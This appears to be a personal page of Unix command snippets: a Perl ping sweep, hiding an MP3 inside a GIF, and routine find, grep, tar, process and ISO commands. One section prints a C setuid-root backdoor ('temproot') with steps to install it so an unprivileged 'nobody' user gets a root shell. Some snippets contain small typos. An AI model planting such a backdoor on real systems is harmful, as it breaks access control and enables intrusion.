Vidul Nikolaev Petrov

[localhost]$

time perl -MNet::Ping -e '$p = Net::Ping->new();
@hosts = qw(
127.0.0.1
172.16.0.1
172.16.0.2
172.16.0.5
172.16.0.254);
#the significant detail
$p->{"timeout"} = 0.005;
for (@hosts) { print "$_ is ".($p->ping($_) ? "up" : "down").$/ }'

127.0.0.1 is up
172.16.0.1 is up
172.16.0.2 is down
172.16.0.5 is up
172.16.0.254 is down

real 0m0.062s
user 0m0.040s
sys 0m0.000s

irb console

$/ = "\r\n"
 
# addition of .mp3 file to .gif file
File.open('test.gif', 'a') do |fh|
  fh < < "\r\n#{File.readlines('test.mp3')}"
end
 
# extraction of the .mp3 content
File.open('extracted.mp3', 'w') do |fh|
  fh << File.readlines('test.gif')[1..-1]
end

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#include "sys/types.h"
#include "unistd.h"
#include "stdlib.h"
#include "stdio.h"
 
int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];
 
    if(!command)
        command = "/bin/bash";
 
    setuid(root_id);
    system(command);
    exit(0);
}

root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root


find
Recursively find and print all files, having ‘txt’ extention:
find ./ -type f -name "*.txt"

The same but case insensititve:
find ./ -type f -iname "*.txt"

cat all found ‘txt’ files:
find ./ -type f -name "*.txt" -exec cat '{}' \;

rm all found ‘txt’ files, starting with capital letter:
find ./ -type f -name "[A-Z]*.txt" -exec rm '{}' \;

rm all except ‘txt’ files:
find ./ -type f ! -name "*.txt" -exec rm '{}' \;

grep
Find and print all lines in all files, containing ‘tester’:
grep tester *

Find and print all lines of all files, which do not contain ‘tester’:
grep -v tester *

The same but recursively:
grep -r -v tester *

The same but case insensitive:
grep -i -v tester *

The same but coloured:
grep -n -r --color=auto -v tester *

processes
simple Perl daemon:
perl -e 'use POSIX qw(setsid); fork; setsid; sleep 1, print $c++,$/ while 1'

checking the process existance: ps x | perl

another way to find the process id: pgrep perl

kill all processes, related to perl interpreter:pkill perl

monitor all processes within 1 second interval:top -d1

monitor all processes, which access the storage devices:iotop -d1

monitor all open files (pipes, sockets, directories, etc.):lsof

archive
Archive directory and all files and sub-directories:
tar cvf home.tar /home

The same but gzip compresses:
tar zcvf home.tar.gz /home

The same but bzip2 compressed:
tar jcvf home.tar.bz2 /home

“untar” gzip compressed archive:
tar zxvf home.tar.gz

“untar” bzip2 compressed archive:
tar jxvf home.tar.gz

column extraction, assuming, that all user names are needed “/etc/passwd”:

cut command
cat /etc/passwd | cut -f1 -d:

awk script
cat /etc/passwd | awk -F':' '{print $1}'

Perl source code
perl -ne '/(\w+)/ && print $1,$/' /etc/passwd

Ruby source code
ruby -ne 'puts $1 if /(\w+)/' /etc/passwd

ISO image manipulation

ISO image creation:
dd if=/dev/cdrom of=/tmp/cdr.iso
mkisofs -rJTV "books label" /home/books > /tmp/books.iso

ISO image reading:
mount -o loop -t iso9660 /tmp/books.iso /mnt/isoimage